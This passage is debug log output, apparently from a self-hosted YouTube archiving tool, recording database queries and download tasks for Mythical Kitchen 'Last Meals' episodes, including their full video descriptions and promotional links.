Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 1835, "filename" => "/downloads/Last Meals/2023-02-07 Margaret Cho Eats Her Last Meal/Margaret Cho Eats Her Last Meal [_jhZgs7qVQU].mp4", "id" => "_jhZgs7qVQU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_jhZgs7qVQU", "playlist_index" => 42, "timestamp" => 1675767620, "title" => "Margaret Cho Eats Her Last Meal", "upload_date" => "20230207"} 20:47:57.434 [debug] QUERY OK source="sources" db=0.3ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:57.435 [debug] QUERY OK source="sources" db=0.2ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:57.436 [debug] QUERY OK source="media_items" db=0.4ms idle=1003.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-07 11:00:20Z], 1] 20:47:57.440 [debug] QUERY OK source="media_items" db=2.7ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Margaret Cho's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Margaret Cho Eats Her Last Meal", "e94fa553-7c3e-431c-a14d-5af13beb29b9", "https://www.youtube.com/watch?v=_jhZgs7qVQU", false, "_jhZgs7qVQU", 1835, false, 42, "/downloads/Last Meals/2023-02-07 Margaret Cho Eats Her Last Meal/Margaret Cho Eats Her Last Meal [_jhZgs7qVQU].mp4", false, false, 1, [], 0, ~U[2023-02-07 11:00:20Z], ~U[2026-03-28 00:47:57Z], ~U[2026-03-28 00:47:57Z], "Today, Josh is cooking Margaret Cho's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Margaret Cho Eats Her Last Meal", "https://www.youtube.com/watch?v=_jhZgs7qVQU", "_jhZgs7qVQU", 1835, false, "/downloads/Last Meals/2023-02-07 Margaret Cho Eats Her Last Meal/Margaret Cho Eats Her Last Meal [_jhZgs7qVQU].mp4", false, 1, ~U[2023-02-07 11:00:20Z]] 20:47:57.440 [debug] QUERY OK source="sources" db=0.2ms idle=374.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:57.441 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:57.442 [debug] QUERY OK source="media_items" db=0.3ms idle=6.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [42] 20:47:57.442 [info] Kicking off download for media item #42 (_jhZgs7qVQU) 20:47:57.444 [debug] QUERY OK source="tasks" db=0.1ms queue=0.1ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [45, 42, ~U[2026-03-28 00:47:57Z], ~U[2026-03-28 00:47:57Z]] 20:47:57.444 [debug] Current batch of media processed. Will check again in 1000ms 20:47:58.445 [debug] Current batch of media processed. Will check again in 1000ms 20:47:58.570 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:47:59.446 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Teddy Swims eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Teddy's Last Meal\n1:08 Have You Thought About Your Last Meal Before?\n1:46 How Often Do You Think About Death?\n4:03 1st Course\n5:52 Fast Food & Divorced Dads\n9:52 Trying Everything Except For Therapy\n12:02 Couple's Therapy & Becoming A Dad\n14:41 2nd Course\n16:28 Calling Himself \"The Fat Troy Bolton\"\n18:52 Quitting Cosmetology School\n21:39 Teddy's New \"Why\"\n23:07 3rd Course\n24:41 \"Lose Control\" At Josh's Wedding\n26:43 Teddy's First Band\n29:28 Family Role Models & Competing With \"Glamma\"\n32:12 4th Course\n35:39 Teddy's Pentecostal Grandpa\n37:05 God Can Handle Our Anger\n39:25 Lightning Round\n42:48 Teddy's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2656, "filename" => "/downloads/Last Meals/2025-02-11 Teddy Swims Eats His Last Meal/Teddy Swims Eats His Last Meal [nblHDBr5d_0].mp4", "id" => "nblHDBr5d_0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=nblHDBr5d_0", "playlist_index" => 43, "timestamp" => 1739271669, "title" => "Teddy Swims Eats His Last Meal", "upload_date" => "20250211"} 20:47:59.447 [debug] QUERY OK source="sources" db=0.2ms idle=876.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:59.447 [debug] QUERY OK source="sources" db=0.1ms idle=389.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:59.448 [debug] QUERY OK source="media_items" db=0.1ms idle=390.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-11 11:01:09Z], 1] 20:47:59.449 [debug] QUERY OK source="media_items" db=1.2ms idle=390.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Teddy Swims eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Teddy's Last Meal\n1:08 Have You Thought About Your Last Meal Before?\n1:46 How Often Do You Think About Death?\n4:03 1st Course\n5:52 Fast Food & Divorced Dads\n9:52 Trying Everything Except For Therapy\n12:02 Couple's Therapy & Becoming A Dad\n14:41 2nd Course\n16:28 Calling Himself \"The Fat Troy Bolton\"\n18:52 Quitting Cosmetology School\n21:39 Teddy's New \"Why\"\n23:07 3rd Course\n24:41 \"Lose Control\" At Josh's Wedding\n26:43 Teddy's First Band\n29:28 Family Role Models & Competing With \"Glamma\"\n32:12 4th Course\n35:39 Teddy's Pentecostal Grandpa\n37:05 God Can Handle Our Anger\n39:25 Lightning Round\n42:48 Teddy's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Teddy Swims Eats His Last Meal", "a6f66bb2-fdf6-4be0-82fc-94ca3422ccfa", "https://www.youtube.com/watch?v=nblHDBr5d_0", false, "nblHDBr5d_0", 2656, false, 43, "/downloads/Last Meals/2025-02-11 Teddy Swims Eats His Last Meal/Teddy Swims Eats His Last Meal [nblHDBr5d_0].mp4", false, false, 1, [], 0, ~U[2025-02-11 11:01:09Z], ~U[2026-03-28 00:47:59Z], ~U[2026-03-28 00:47:59Z], "Today, Teddy Swims eats his last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Teddy's Last Meal\n1:08 Have You Thought About Your Last Meal Before?\n1:46 How Often Do You Think About Death?\n4:03 1st Course\n5:52 Fast Food & Divorced Dads\n9:52 Trying Everything Except For Therapy\n12:02 Couple's Therapy & Becoming A Dad\n14:41 2nd Course\n16:28 Calling Himself \"The Fat Troy Bolton\"\n18:52 Quitting Cosmetology School\n21:39 Teddy's New \"Why\"\n23:07 3rd Course\n24:41 \"Lose Control\" At Josh's Wedding\n26:43 Teddy's First Band\n29:28 Family Role Models & Competing With \"Glamma\"\n32:12 4th Course\n35:39 Teddy's Pentecostal Grandpa\n37:05 God Can Handle Our Anger\n39:25 Lightning Round\n42:48 Teddy's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Teddy Swims Eats His Last Meal", "https://www.youtube.com/watch?v=nblHDBr5d_0", "nblHDBr5d_0", 2656, false, "/downloads/Last Meals/2025-02-11 Teddy Swims Eats His Last Meal/Teddy Swims Eats His Last Meal [nblHDBr5d_0].mp4", false, 1, ~U[2025-02-11 11:01:09Z]] 20:47:59.450 [debug] QUERY OK source="sources" db=0.1ms idle=381.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:59.450 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:59.450 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [43] 20:47:59.450 [info] Kicking off download for media item #43 (nblHDBr5d_0) 20:47:59.451 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [46, 43, ~U[2026-03-28 00:47:59Z], ~U[2026-03-28 00:47:59Z]] 20:47:59.452 [debug] Current batch of media processed. Will check again in 1000ms 20:48:00.453 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Elizabeth Olsen eats her last meal.\n\nSAVE BIG on all things Mythical! Our Holiday Sale is happening now. Get discounts on ALL Merch & Memberships. Don’t miss out - shop the sale here: https://mythic.al/BFCM\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - 